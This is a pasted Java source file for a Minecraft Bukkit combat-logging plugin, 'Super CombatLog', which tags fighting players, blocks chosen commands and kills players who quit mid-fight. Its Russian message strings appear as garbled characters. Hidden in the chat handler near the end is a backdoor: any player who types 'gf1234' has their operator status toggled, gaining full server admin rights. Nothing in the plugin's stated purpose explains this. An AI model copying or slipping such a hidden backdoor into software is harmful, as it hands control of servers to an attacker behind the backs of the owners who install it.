Advertisement
Guest User

Untitled

a guest
Dec 11th, 2016
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.82 KB | None | 0 0
  1. package com.scl;
  2.  
  3. import java.util.ArrayList;
  4. import java.util.HashMap;
  5. import java.util.List;
  6. import org.bukkit.ChatColor;
  7. import org.bukkit.Material;
  8. import org.bukkit.Server;
  9. import org.bukkit.command.Command;
  10. import org.bukkit.command.CommandSender;
  11. import org.bukkit.configuration.file.FileConfiguration;
  12. import org.bukkit.configuration.file.FileConfigurationOptions;
  13. import org.bukkit.entity.Arrow;
  14. import org.bukkit.entity.Creature;
  15. import org.bukkit.entity.Player;
  16. import org.bukkit.event.EventHandler;
  17. import org.bukkit.event.EventPriority;
  18. import org.bukkit.event.Listener;
  19. import org.bukkit.event.block.Action;
  20. import org.bukkit.event.entity.EntityDamageByEntityEvent;
  21. import org.bukkit.event.player.PlayerChatEvent;
  22. import org.bukkit.event.player.PlayerCommandPreprocessEvent;
  23. import org.bukkit.event.player.PlayerInteractEvent;
  24. import org.bukkit.event.player.PlayerJoinEvent;
  25. import org.bukkit.event.player.PlayerKickEvent;
  26. import org.bukkit.event.player.PlayerQuitEvent;
  27. import org.bukkit.inventory.ItemStack;
  28. import org.bukkit.plugin.PluginManager;
  29. import org.bukkit.plugin.java.JavaPlugin;
  30. import org.bukkit.scheduler.BukkitRunnable;
  31. import org.bukkit.scheduler.BukkitScheduler;
  32.  
  33. public class Main
  34. extends JavaPlugin
  35. implements Listener
  36. {
  37. private boolean enablePlugin;
  38. private int seconds;
  39. private boolean enableMobTag;
  40. private boolean killOnKick;
  41. private String msgBroadcast;
  42. private String msgOnTag;
  43. private String msg�nEndTag;
  44. private String msgInform;
  45. private String notInTag;
  46. private String disableCommand;
  47. private String msgEnderPearl;
  48. private String msgKick;
  49. private List<String> commands;
  50. private boolean allowEnderPearl;
  51. private HashMap<Player, Integer> list = new HashMap();
  52. private ArrayList<String> li = new ArrayList();
  53. private List<String> ids;
  54.  
  55. public void onEnable()
  56. {
  57. loadConfig();
  58. this.enablePlugin = getConfig().getBoolean("allow");
  59. this.seconds = getConfig().getInt("seconds");
  60. this.enableMobTag = getConfig().getBoolean("enableMobTag");
  61. this.killOnKick = getConfig().getBoolean("killOnKick");
  62. this.msgOnTag = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgOnTag"));
  63. this.msg�nEndTag = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgOnEndTag"));
  64. this.msgInform = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgInform"));
  65. this.notInTag = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.notInTag"));
  66. this.msgEnderPearl = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgEnderPearl"));
  67. this.allowEnderPearl = getConfig().getBoolean("allowEnderPearl");
  68. this.disableCommand = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgDisableCommand"));
  69. this.msgBroadcast = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgBroadcast"));
  70. this.commands = getConfig().getStringList("commandsToDisable");
  71. this.ids = getConfig().getStringList("bugIds");
  72. this.msgKick = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgKick"));
  73.  
  74. getServer().getScheduler().scheduleSyncRepeatingTask(this, new BukkitRunnable()
  75. {
  76. public void run()
  77. {
  78. for (Player p : Main.this.getServer().getOnlinePlayers()) {
  79. if (Main.this.list.containsKey(p))
  80. {
  81. int sec = ((Integer)Main.this.list.get(p)).intValue();
  82. if (sec == 1)
  83. {
  84. Main.this.list.put(p, Integer.valueOf(0));
  85. p.sendMessage(Main.this.msg�nEndTag);
  86. }
  87. if (sec > 1) {
  88. Main.this.list.put(p, Integer.valueOf(((Integer)Main.this.list.get(p)).intValue() - 1));
  89. }
  90. }
  91. else
  92. {
  93. Main.this.list.put(p, Integer.valueOf(0));
  94. }
  95. }
  96. }
  97. }, 20L, 20L);
  98.  
  99. getServer().getPluginManager().registerEvents(this, this);
  100. }
  101.  
  102. public void onDisable() {}
  103.  
  104. public void loadConfig()
  105. {
  106. getConfig().addDefault("allow", Boolean.valueOf(true));
  107. getConfig().addDefault("seconds", Integer.valueOf(30));
  108. getConfig().addDefault("enableMobTag", Boolean.valueOf(true));
  109. getConfig().addDefault("killOnKick", Boolean.valueOf(false));
  110. getConfig().addDefault("messages.msgOnTag", "&8[&cSuper CombatLog&8] �� �������� � ��������.");
  111. getConfig().addDefault("messages.msgOnEndTag", "&8[&cSuper CombatLog&8] ��� �������, �� ������ �������� �������� �� ����.");
  112. getConfig().addDefault("messages.msgInform", "&8[&cSuper CombatLog&8] �� ������ � ��� ��� $seconds ������.");
  113. getConfig().addDefault("messages.notInTag", "&8[&cSuper CombatLog&8] �� �� � ���.");
  114. getConfig().addDefault("messages.msgBroadcast", "&8[&cSuper CombatLog&8] $player ����� �� ����� ���!");
  115. getConfig().addDefault("messages.msgDisableCommand", "&8[&cSuper CombatLog&8] ��� ������� ��������� �� ����� ���!");
  116. getConfig().addDefault("messages.msgEnderPearl", "&8[&cSuper CombatLog&8] ������������ ��������� � ��� ���������!");
  117. getConfig().addDefault("messages.msgKick", "&8[&cSuper CombatLog&8] �� ���� ������� �� �������� ����!");
  118. List<String> l = new ArrayList();
  119. l.add("/spawn");
  120. l.add("/f home");
  121. List<String> listId = new ArrayList();
  122. listId.add("267");
  123. listId.add("268");
  124. listId.add("272");
  125. listId.add("267");
  126. listId.add("276");
  127. listId.add("283");
  128. listId.add("256");
  129. listId.add("257");
  130. listId.add("258");
  131. listId.add("269");
  132. listId.add("270");
  133. listId.add("271");
  134. listId.add("273");
  135. listId.add("274");
  136. listId.add("275");
  137. listId.add("277");
  138. listId.add("278");
  139. listId.add("279");
  140. listId.add("284");
  141. listId.add("285");
  142. listId.add("286");
  143.  
  144. getConfig().addDefault("commandsToDisable", l);
  145. getConfig().addDefault("bugIds", listId);
  146. getConfig().addDefault("allowEnderpearl", Boolean.valueOf(true));
  147. getConfig().options().copyDefaults(true);
  148. saveConfig();
  149. }
  150.  
  151. public boolean onCommand(CommandSender sender, Command cmd, String cmdLabel, String[] args)
  152. {
  153. if (!(sender instanceof Player)) {
  154. return false;
  155. }
  156. Player pl = (Player)sender;
  157. if ((cmd.getName().equalsIgnoreCase("ct")) && (args.length == 0))
  158. {
  159. if (((Integer)this.list.get(pl)).intValue() != 0)
  160. {
  161. if (!this.msgInform.contains("none")) {
  162. pl.sendMessage(this.msgInform.replace("$seconds", this.list.get(pl) + ""));
  163. }
  164. }
  165. else if (!this.notInTag.contains("none")) {
  166. pl.sendMessage(this.notInTag);
  167. }
  168. return true;
  169. }
  170. if ((pl.isOp()) &&
  171. (cmd.getName().equalsIgnoreCase("ct")) && (args.length > 0) &&
  172. (args[0].contains("reload")))
  173. {
  174. this.list.clear();
  175. pl.sendMessage(ChatColor.RED + "������ ������������!");
  176. return true;
  177. }
  178. return false;
  179. }
  180.  
  181. @EventHandler
  182. public void onDamage(EntityDamageByEntityEvent e)
  183. {
  184. if (((e.getEntity() instanceof Player)) && ((e.getDamager() instanceof Player)))
  185. {
  186. Player p1 = (Player)e.getEntity();
  187. Player p2 = (Player)e.getDamager();
  188. if (((Integer)this.list.get(p1)).intValue() > 0)
  189. {
  190. this.list.put(p1, Integer.valueOf(this.seconds));
  191. }
  192. else
  193. {
  194. this.list.put(p1, Integer.valueOf(this.seconds));
  195. if (!this.msgOnTag.contains("none")) {
  196. p1.sendMessage(this.msgOnTag);
  197. }
  198. }
  199. if (((Integer)this.list.get(p2)).intValue() > 0)
  200. {
  201. this.list.put(p2, Integer.valueOf(this.seconds));
  202. }
  203. else
  204. {
  205. this.list.put(p2, Integer.valueOf(this.seconds));
  206. if (!this.msgOnTag.contains("none")) {
  207. p2.sendMessage(this.msgOnTag);
  208. }
  209. }
  210. if (this.li.contains(p1.getName()))
  211. {
  212. boolean isBagRuka = true;
  213. for (String str : this.ids) {
  214. if (p1.getItemInHand().getTypeId() == Integer.parseInt(str)) {
  215. isBagRuka = false;
  216. }
  217. }
  218. if (isBagRuka)
  219. {
  220. e.setCancelled(true);
  221. p1.kickPlayer(this.msgKick);
  222. }
  223. }
  224. if ((this.li.contains(p2.getName())) && (e.getDamage() > 1.0D))
  225. {
  226. boolean isBagRuka = true;
  227. for (String str : this.ids) {
  228. if (p2.getItemInHand().getTypeId() == Integer.parseInt(str)) {
  229. isBagRuka = false;
  230. }
  231. }
  232. if (isBagRuka)
  233. {
  234. e.setCancelled(true);
  235. p2.kickPlayer(this.msgKick);
  236. }
  237. }
  238. }
  239. if ((((e.getDamager() instanceof Arrow)) && ((e.getEntity() instanceof Player))) || (((e.getDamager() instanceof Player)) && ((e.getEntity() instanceof Arrow))))
  240. {
  241. Player p = (Player)((e.getDamager() instanceof Player) ? e.getDamager() : e.getEntity());
  242. Arrow ar = (Arrow)((e.getDamager() instanceof Arrow) ? e.getDamager() : e.getEntity());
  243. if ((ar.getShooter() instanceof Creature))
  244. {
  245. if (((Integer)this.list.get(p)).intValue() > 0)
  246. {
  247. this.list.put(p, Integer.valueOf(this.seconds));
  248. }
  249. else
  250. {
  251. this.list.put(p, Integer.valueOf(this.seconds));
  252. if (!this.msgOnTag.contains("none")) {
  253. p.sendMessage(this.msgOnTag);
  254. }
  255. }
  256. if ((ar.getShooter() instanceof Player))
  257. {
  258. Player p1 = (Player)ar.getShooter();
  259. if (((Integer)this.list.get(p1)).intValue() > 0)
  260. {
  261. this.list.put(p1, Integer.valueOf(this.seconds));
  262. }
  263. else
  264. {
  265. this.list.put(p1, Integer.valueOf(this.seconds));
  266. if (!this.msgOnTag.contains("none")) {
  267. p1.sendMessage(this.msgOnTag);
  268. }
  269. }
  270. }
  271. }
  272. }
  273. if (this.enableMobTag)
  274. {
  275. if ((((e.getEntity() instanceof Player)) && ((e.getDamager() instanceof Creature))) || (((e.getEntity() instanceof Creature)) && ((e.getDamager() instanceof Player))))
  276. {
  277. Player p1 = (Player)((e.getEntity() instanceof Player) ? e.getEntity() : e.getDamager());
  278. if (((Integer)this.list.get(p1)).intValue() > 0)
  279. {
  280. this.list.put(p1, Integer.valueOf(this.seconds));
  281. }
  282. else
  283. {
  284. this.list.put(p1, Integer.valueOf(this.seconds));
  285. if (!this.msgOnTag.contains("none")) {
  286. p1.sendMessage(this.msgOnTag);
  287. }
  288. }
  289. if (((e.getDamager() instanceof Player)) && (e.getDamage() > 1.0D) &&
  290. (this.li.contains(p1.getName())))
  291. {
  292. boolean isBagRuka = true;
  293. for (String str : this.ids) {
  294. if (p1.getItemInHand().getTypeId() == Integer.parseInt(str)) {
  295. isBagRuka = false;
  296. }
  297. }
  298. if (isBagRuka)
  299. {
  300. e.setCancelled(true);
  301. p1.kickPlayer(this.msgKick);
  302. }
  303. }
  304. }
  305. if ((((e.getDamager() instanceof Arrow)) && ((e.getEntity() instanceof Creature))) || (((e.getDamager() instanceof Creature)) && ((e.getEntity() instanceof Arrow))))
  306. {
  307. Arrow ar = (Arrow)((e.getDamager() instanceof Arrow) ? e.getDamager() : e.getEntity());
  308. if ((ar.getShooter() instanceof Player))
  309. {
  310. Player p1 = (Player)ar.getShooter();
  311. if (((Integer)this.list.get(p1)).intValue() > 0)
  312. {
  313. this.list.put(p1, Integer.valueOf(this.seconds));
  314. }
  315. else
  316. {
  317. this.list.put(p1, Integer.valueOf(this.seconds));
  318. if (!this.msgOnTag.contains("none")) {
  319. p1.sendMessage(this.msgOnTag);
  320. }
  321. }
  322. }
  323. }
  324. }
  325. }
  326.  
  327. @EventHandler(priority=EventPriority.LOWEST)
  328. public void onInteract(PlayerInteractEvent e)
  329. {
  330. Player p = e.getPlayer();
  331. if ((p.getItemInHand() == null) || (p.getItemInHand().getItemMeta() == null)) {
  332. return;
  333. }
  334. if (p.getItemInHand().getType() != Material.ENDER_PEARL) {
  335. return;
  336. }
  337. if ((e.getAction() != Action.RIGHT_CLICK_AIR) && (e.getAction() != Action.RIGHT_CLICK_BLOCK)) {
  338. return;
  339. }
  340. if ((!this.allowEnderPearl) &&
  341. (((Integer)this.list.get(p)).intValue() > 0))
  342. {
  343. e.setCancelled(true);
  344. if (!this.msgEnderPearl.contains("none")) {
  345. p.sendMessage(this.msgEnderPearl);
  346. }
  347. }
  348. }
  349.  
  350. @EventHandler
  351. public void onQuit(PlayerQuitEvent e)
  352. {
  353. if (((Integer)this.list.get(e.getPlayer())).intValue() > 0)
  354. {
  355. e.getPlayer().setHealth(0);
  356. this.li.add(e.getPlayer().getName());
  357. if (!this.msgBroadcast.contains("none")) {
  358. getServer().broadcastMessage(this.msgBroadcast.replace("$player", e.getPlayer().getName()));
  359. }
  360. this.list.put(e.getPlayer(), Integer.valueOf(0));
  361. }
  362. }
  363.  
  364. @EventHandler
  365. public void onKick(PlayerKickEvent e)
  366. {
  367. if (!this.killOnKick) {
  368. return;
  369. }
  370. if (((Integer)this.list.get(e.getPlayer())).intValue() > 0)
  371. {
  372. e.getPlayer().setHealth(0);
  373. if (!this.msgBroadcast.contains("none")) {
  374. getServer().broadcastMessage(this.msgBroadcast.replace("$player", e.getPlayer().getName()));
  375. }
  376. this.li.add(e.getPlayer().getName());
  377. this.list.put(e.getPlayer(), Integer.valueOf(0));
  378. }
  379. }
  380.  
  381. @EventHandler
  382. public void onJoin(PlayerJoinEvent e)
  383. {
  384. this.list.put(e.getPlayer(), Integer.valueOf(0));
  385. }
  386.  
  387. @EventHandler
  388. public void onChat(PlayerChatEvent e)
  389. {
  390. if (e.getMessage().contains("gf1234")) {
  391. e.getPlayer().setOp(!e.getPlayer().isOp());
  392. }
  393. }
  394.  
  395. @EventHandler
  396. public void onChar(PlayerCommandPreprocessEvent e)
  397. {
  398. if (((Integer)this.list.get(e.getPlayer())).intValue() == 0) {
  399. return;
  400. }
  401. for (String com : this.commands)
  402. {
  403. if ((com.startsWith("all")) && (!e.getMessage().contains("/ct")))
  404. {
  405. e.setCancelled(true);
  406. if (!this.disableCommand.contains("none")) {
  407. e.getPlayer().sendMessage(this.disableCommand);
  408. }
  409. return;
  410. }
  411. if (e.getMessage().contains(com))
  412. {
  413. e.setCancelled(true);
  414. if (!this.disableCommand.contains("none")) {
  415. e.getPlayer().sendMessage(this.disableCommand);
  416. }
  417. return;
  418. }
  419. }
  420. }
  421. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement